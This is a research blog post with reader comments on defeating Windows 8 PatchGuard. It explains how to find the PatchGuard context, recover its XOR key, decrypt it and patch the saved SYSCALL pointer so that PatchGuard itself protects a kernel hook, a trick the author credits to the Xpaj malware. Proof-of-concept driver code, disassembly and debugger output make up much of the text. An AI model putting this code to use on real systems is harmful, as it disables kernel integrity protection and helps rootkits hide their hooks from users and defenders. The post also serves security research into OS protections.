In this post i will take a look at PatchGuard, at classic scenario of bypassing this protection and also at little bit diferent one. I will also examine new way (bust most probably not new, just reinvented cause it is too obvious and quite efective) how to locate & abuse page guard context and its behaviour.
1 2 3 4 5 6 7 8 9 10 11 12 |
typedef struct _KDPC { UCHAR Type; UCHAR Importance; volatile USHORT Number; LIST_ENTRY DpcListEntry; PKDEFERRED_ROUTINE DeferredRoutine; PVOID DeferredContext; PVOID SystemArgument1; PVOID SystemArgument2; __volatile PVOID DpcData; } KDPC, *PKDPC, *PRKDPC; |
PoC and some explanation of code, of its weaknes and points to research are included
Everyone who started playing with PatchGuard should read previous research, which gives good background and explanation how it works.
- Clasicall trilogy : PatchGuard1 & PatchGuard2 & PatchGuard3
- Mcafee whitepaper
- Early PoC
- other research
With this background, i started looking for PageGuard Context, and way how it is invoked in win8. (how easy is to find it, i will describe in next blog post). Here is some snapshots of context assembly code (whole dump is located on github along the PoC sources) :
Classic approach how to defeat PatchGuard is terminate it as soon as you can, but i think it is waste of its potential . Inspiration of idea, what to do with PatchGuard, come from writers of malware known as Goblin / Xpaj (btw. very well written piece of metamorphic file infector – in new era also bootkit functionality). They not terminate PatchGuard during boot, but instead of this they abuse its behaviour for protecting its own hooks! Which is quite briliant, because no-one is more suitable to protect your piece of code than windows protection mechanism – PatchGuard itself
So lets do it with minimal touch of system, with fine gain => lets hook SYSCALL! As you already know patchguard read MSR (intel – IA64_SYSENTER_EIP – 0xC0000082) and check it for consistency. But before that you need to handle some issues :
- locate PageGuard Context
- locate Syscall pointer saved in PatchGuard Context
- exchange it whithout pay attention of KeBugCheck ;)
It seems it is no such big deal, and really it is not ! First of all, take a look at 3exit points which invoke PatchGuard routine :
1 2 3 4 5 6 7 8 9 |
nt!KiProcessExpiredTimerList+0x1fc: fffff801`9c88d1bc 498914dc mov qword ptr [r12+rbx*8],rdx fffff801`9c88d1c0 a12003000080f7ffff mov eax,dword ptr [FFFFF78000000320h] fffff801`9c88d1c9 418944dc08 mov dword ptr [r12+rbx*8+8],eax fffff801`9c88d1ce 41c7852053000000000000 mov dword ptr [r13+5320h],0 fffff801`9c88d1d9 458b4c240c mov r9d,dword ptr [r12+0Ch] fffff801`9c88d1de 458b442408 mov r8d,dword ptr [r12+8] fffff801`9c88d1e3 488b5720 mov rdx,qword ptr [rdi+20h] fffff801`9c88d1e7 ff5587 call qword ptr [rbp-79h] |
1 2 3 4 5 6 7 8 9 |
nt!KiExecuteAllDpcs+0x164: fffff801`9c88cc74 488907 mov qword ptr [rdi],rax fffff801`9c88cc77 a12003000080f7ffff mov eax,dword ptr [FFFFF78000000320h] fffff801`9c88cc80 894708 mov dword ptr [rdi+8],eax fffff801`9c88cc83 488b442478 mov rax,qword ptr [rsp+78h] fffff801`9c88cc88 8b80e4010000 mov eax,dword ptr [rax+1E4h] fffff801`9c88cc8e 41c7872053000000000000 mov dword ptr [r15+5320h],0 fffff801`9c88cc99 89442430 mov dword ptr [rsp+30h],eax fffff801`9c88cc9d ff542448 call qword ptr [rsp+48h] |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
nt!KiDeliverApc: fffff803`6d543570 4889542410 mov qword ptr [rsp+10h],rdx fffff803`6d543575 55 push rbp fffff803`6d543576 53 push rbx fffff803`6d543577 56 push rsi fffff803`6d543578 4154 push r12 fffff803`6d54357a 4156 push r14 fffff803`6d54357c 4157 push r15 fffff803`6d54357e 488bec mov rbp,rsp fffff803`6d543581 4883ec48 sub rsp,48h fffff803`6d543585 498bf0 mov rsi,r8 fffff803`6d543588 440fb6e1 movzx r12d,cl fffff803`6d54358c 4d85c0 test r8,r8 fffff803`6d54358f 0f85e1010000 jne nt!KiDeliverApc+0x205 (fffff803`6d543776) fffff803`6d543595 65488b1c2588010000 mov rbx,qword ptr gs:[188h] ... fffff803`6d5436b4 488d4550 lea rax,[rbp+50h] fffff803`6d5436b8 4c8d4de8 lea r9,[rbp-18h] fffff803`6d5436bc 4c8d45f0 lea r8,[rbp-10h] fffff803`6d5436c0 488d5548 lea rdx,[rbp+48h] fffff803`6d5436c4 498bca mov rcx,r10 fffff803`6d5436c7 4889442420 mov qword ptr [rsp+20h],rax fffff803`6d5436cc 41ffd3 call r11 ... fffff803`6d543725 488d4550 lea rax,[rbp+50h] fffff803`6d543729 4c8d4de8 lea r9,[rbp-18h] fffff803`6d54372d 4c8d45f0 lea r8,[rbp-10h] fffff803`6d543731 488d5548 lea rdx,[rbp+48h] fffff803`6d543735 498bca mov rcx,r10 fffff803`6d543738 4889442420 mov qword ptr [rsp+20h],rax fffff803`6d54373d 41ffd3 call r11 .... |
In my PoC I focused just at the first method hooking (nt!KiProcessExpiredTimerList+0x1fc) – and ofc there can be (and probably are) more such exit points which is necessary to hook for proper implementation of abusing PatchGuard -. Ok so lets go observe some behaviour :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
void CPatchGuardBoost::CustomDPC( __in struct _KDPC* Dpc, __in void* DeferredContext, __in_opt void* SystemArgument1, __in_opt void* SystemArgument2 ) { //some magic constants of opcode related to win8 .. //proper implementation need some disasembler and aditional logic ULONG_PTR delay_execution = *((ULONG_PTR*)&Dpc + 8) - 3 - 4 - 5 - 5; //perform hook which leads to calling "DPCInvokerHook" method ::new(m_dpcHookMem) CColdPatcher((void*)delay_execution, dpcinvhook); DbgPrint("\nDelayExecution %p hook set!\n", delay_execution); KeBreak(); } EXTERN_C void DPCInvokerHook( __in struct _KDPC* Dpc, __in void* DeferredContext, __in_opt void* SystemArgument1, __in_opt void* SystemArgument2 ) { if (!DeferredContext) return; //just info callback for stealhiness of patchguard thread ... if (0xfffff00000000000 != ((ULONG_PTR)DeferredContext & 0xFFFFF00000000000)) DbgPrint("\nDereferred ctx %p <%p (+what was previous rutine ?)> %p %p %p\n", DeferredContext, Dpc->DeferredRoutine, Dpc, SystemArgument1, SystemArgument2); //... } |
and little windbg-output for observing:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 |
DelayExecution FFFFF803D94F41D9 hook set! Break instruction exception - code 80000003 (first chance) patchguardcase!__kebreak: fffff880`090b3b0f cc int 3 kd> g Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000005B37C80A 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000005C0941A8 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000005CDD1CA9 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000005DB81BAF 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000005E8BF6A4 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000005F5D703E 0000000001CE6079 syscalls are really painfull ... : 40000 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000602EE9D3 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000061006375 0000000001CE6079 syscalls are really painfull ... : 80000 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000061D43E6A 0000000001CE6079 syscalls are really painfull ... : c0000 syscalls are really painfull ... : 100000 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000062A5B7F3 0000000001CE6079 syscalls are really painfull ... : 140000 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000637992F4 0000000001CE6079 syscalls are really painfull ... : 180000 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000644B0C81 0000000001CE6079 syscalls are really painfull ... : 1c0000 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000651EE782 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000065EDFFA4 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000066BF7939 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000678E916B 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000068626C68 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000006936475D 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000006A07C0FF 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000006AD6D924 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000006BAAB419 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000006C7C2DB3 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000006D4DA740 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000006E1F20DA 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000006EF09A6F 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000006FBFB2A5 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000070938D96 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000007165072F 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000723680C5 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000007307FA56 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000073D973EB 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000074AAED81 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000757C671A 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000764DE0AC 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000771CF8F2 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000077F5969A 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000078CBD2F6 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000799D4C83 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000007A6EC61D 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000007B403FB2 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000007C11B943 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000007CE332D9 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000007DB24B0B 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000007E83C4A4 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000007F579F99 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000008029192F 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000080FA92C8 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000081CC0C55 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000829D85EF 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000836EFF84 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 00000000843E17B6 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000008511F2AB 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000085E36C41 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 0000000086B4E5DA 0000000001CE6079 Dereferred ctx FF9EFA8005E28F70 <FFFFF803D9572D90 (+what was previous rutine ?)> FFFFF803D9759C80 000000008783FE0C 0000000001CE6079 Dereferred ctx 7DC05375E06537AC <FFFFF803D948F048 (+what was previous rutine ?)> FFFFFA8005E40B60 00000000884E537B 0000000001CE6079 magic page guard ctx FFFFFA800603771D |
As you can see, it is no huge number of different routines except PageGuard DereferedRoutine with bogus pointer… And this is the goal, when you are able to detect that now is turn for PatchGuard routine, with little research is very high probability that you are able to own it! And even detect PatchGuard routine will be in the future problem (a large amount of routine with bogus pointer, or more stealthy way for PatchGuard routine), i guess there will be always way how to detect it – generic or trough pattern …
- LOCATION of PageGuard Context
Ok so main point is that, when you look deeper at final DPC routines which are suposed to resolve original pointer to PageGuard Context and its code, you can see interesting things calculated here :
As i said, this is probably not new ‘discovery’ – i did not find it anywhere, but it probably just means i did not search deep enough …; So from the code you have straight way how to locate PatchGuard context :
1 2 3 4 5 6 7 8 9 10 |
#define PG_BASECODE 0xFFFF800000000000 struct PAGEGUARD_KDPC : public _KDPC { ULONG_PTR MagicXorAddr; }; m_pgPtr = (PAGEGUARD_STRUCT*)(PG_BASECODE | ((ULONG_PTR)(pgDPC->DeferredContext) ^ ((PAGEGUARD_KDPC*)pgDPC)->MagicXorAddr)); |
And also when you look at the third mentioned exit point, and keep eye on values from which are formed PatchGuard context address, you will trace smth like this :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
kd> k Child-SP RetAddr Call Site fffff880`009fcb38 fffff800`730de740 nt!KeClearEvent+0xc1c fffff880`009fcb40 fffff800`730acb5f nt!KeInitializeApc+0xb84 fffff880`009fcbc0 fffff800`730ab61f nt!KeWaitForMutexObject+0x170f fffff880`009fcc80 fffff800`731529b4 nt!KeWaitForMutexObject+0x1cf fffff880`009fcd10 fffff800`7303c045 nt!KeQueryActiveProcessorCount+0x134 fffff880`009fcd50 fffff800`730f0766 nt!RtlTimeFieldsToTime+0x291 fffff880`009fcda0 00000000`00000000 nt!RtlImageNtHeader+0x39e nt!KiDeliverApc: ... mov rbx,qword ptr gs:[188h];dt nt!_KTHREAD lea rdi,[rbx+98h];dt nt!_KAPC_STATE mov rdx,qword ptr [rdi] ;_LIST_ENTRY.Flink lea r10,[rdx-10h];0x088 FirstArgument -> ptr to another magic struct ;) mov rax,qword ptr [r10+40h];get offset mov qword ptr [rbp-18h],rax lea r9,[rbp-18h] call r11 //.. take a look at nt!KeClearEvent+0xc1c == nt!KiDispatchCallout ;) |
So as you can see, when you are able to filter all exit points, then it should not be problem, in current state of PatchGuard, recognize if DerferredRoutine is related to PatchGuard and locate its context.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
__checkReturn bool CPageGuard::IsPatchGuardContext(__in const _KDPC* pgDPC) { ULONG_PTR magic_delta = (ULONG_PTR)(pgDPC->DeferredContext) ^ ((PAGEGUARD_KDPC*)pgDPC)->MagicXorAddr; if (0xFFFFF00000000000 != (magic_delta & 0xFFFFF00000000000)) { const void* pg_context = (const void*)((ULONG_PTR)magic_delta | PG_BASECODE); CMdl mdl(pg_context, 3 * sizeof(ULONG_PTR)); void* mem = mdl.Map(); if (NULL != mem) { PAGEGUARD_PROLOGUE prologue; memcpy(&prologue, mem, sizeof(prologue)); if (prologue.Code[1] && prologue.Code[2]) return (0 == ((prologue.Code[1] ^ prologue.Code[2]) & 0x00FFFFFF00FFFFFF)); } } return false; } |
- Position of Syscall pointer inside PatchGuard context
nt!KiDispatchCallout method snapshot, i post here mainly because it clearly describe how to pwn PatchGuard. First DWORD would be always patched at the same value – probably because try to handle one of bypass technique ? – and cause of nature of decryptor you know how to looks like also first QWORD (0x085131481131482e), and it means disclosure of XOR_KEY! And when you take a deeper look at PatchGuard decryption mechanism, you can play with it in your own :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
void CPageGuard::DecryptPageGuardStruct(__inout PAGEGUARD_STRUCT& pg) { ULONG_PTR key = pg.Code[0] ^ PG_PROLOGUE; for (size_t i = 0; i < _countof(pg.Code); i++) pg.Code[i] ^= key; *(ULONG_PTR*)&pg.Unknown1 ^= key; //encode pg.<Unknown2, Unknown5>; for (ULONG i = pg.SizeOfCodeInPtr; i != 0; i--) { if (i * sizeof(ULONG_PTR) < sizeof(pg) - sizeof(pg.Code)) ((ULONG_PTR*)&pg + _countof(pg.Code))[i] ^= key; key = ROR(key, (BYTE)i); } } |
(even without xoring it would be possible to gather this xor_key -xoring is just pretty shortcut –> just keep in mind you are at the same level as PatchGuard, in your hook you have the same data available, and you can debug – disasemble – just play with code which calc this xor_key)
Position of Syscall ptr is relative to main function of PatchGuard, and position of this main function is stored in structure describing its context :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
#define PG_SYSCALL_OFF 0x31500 struct PAGEGUARD_STRUCT { ULONG_PTR Code[PG_CRYPTED_CONTENT_OFF / sizeof(ULONG_PTR)]; ULONG Unknown1; ULONG SizeOfCodeInPtr; BYTE Unknown2[0x360 - 0xC0 - 8]; ULONG_PTR CRC; BYTE Unknown3[0x38c - 0x360 - 8]; ULONG SizeOfDataBlock; ULONG MainCodeRVA; BYTE Unknown4[0x3B4 - 0x38c - 8]; ULONG RolByteInUlong; ULONG_PTR XorKey; BYTE Unknown5[0x3D0 - 0x3b4 - 4 - 8]; ULONG SizeOfResources; ULONG Unknown6; }; pg.PatchData(pgs->MainCodeRVA + PG_SYSCALL_OFF, &syscall, sizeof(syscall)); |
- Pwn PageGuard context
Two problems can raise when you try to patch :
- Code is encrypted
- Context is checksumed
But you known encryption mechanism, so you need just to implement encrypt / decrypt mechanism, and also Just Code and PAGEGUARD_STRUCT is encrypted, data are plain Second problem can be solved by disasembling checksum mechanism, and re-calc checksum on current data .. crc snapshot :
Problems & points to research:
- PageGuard is not one-threaded so it is necessary to handle with all threads
- Find out all exit points
Conclusions : PatchGuard is very nice piece of code, really challenging :) In my opinion there should be always way how to ‘defeat’ it (when you are at the same privilage level it is all just about gongfu ), but i guess thats not a point. Main reason in patchguard i see to force software vendors to avoid intercept kernel with hooks and altering key structures in undocumented way. But in this way of looking at problem, i did not come with idea why so much hardering. But i believe that it is interesting part of job for m$ developers, hide code, implement obfuscation, respond to new bypass techniques etc. – but it sounds familiar does not it ?
On the other side, when m$ do it also with anti-malware reasons, i am not sure that they do it effectively. Malware writers does not come to them with this kind of findings, instead of this they will implement and sales it. And when new bypass technique invented by malware writers would be uncovered what would m$ do next ?
… when they just update its patchguard it cause BSOD on infected machines =>users dont like bsod. With legitimate software vendors it is fault by 3rd party and user will blame crappy software. But in case of malware m$ will need to handle desinfection of system at first, otherwise they are screwed up by malware writers …
So i think PatchGuard is perfect for rule over software vendors, that they can not patch kernel, but not as malware protection. I think when m$ would to improve this code more efficiently they should to create some kind of competition like pwnium, but related to breaking the PatchGuard, it will gave reason for hardering PageGuard and it will be more fun
Great job dude!
I really enjoyed it. I am starting an analysis of new Windows 8.1 Patchguard and I found the work you have published very usefull.
Thanks for sharing.
Andrea
In your reference itself, http://www.mcafee.com/us/resources/reports/rp-defeating-patchguard.pdf, it is mentioned how to use XOR magic to find PatchGuard Contexts.
Nice work.
hi, thanks.
in mcafee whitepaper is mentioned :
* Initialize NTOS Timer Construct (allocated in PatchGuard context) with KeInitializeTimer. Select a
random time value, select a random kernel’s Deferred Procedure Call (DPC) function from a list of the
kernel’s DPC functions, call KeSetTimer, and time the execution of this DPC with a DeferredContext
value as a completely invalid pointer value (by XORing the Context Pointer value with a random key)
.. just found where is random key stored, nothing so inovative, but it helps with processing
how does it work under win7 sp1 x64?is that “delay_execution” is a magic address?
waitting for your reply ,thanks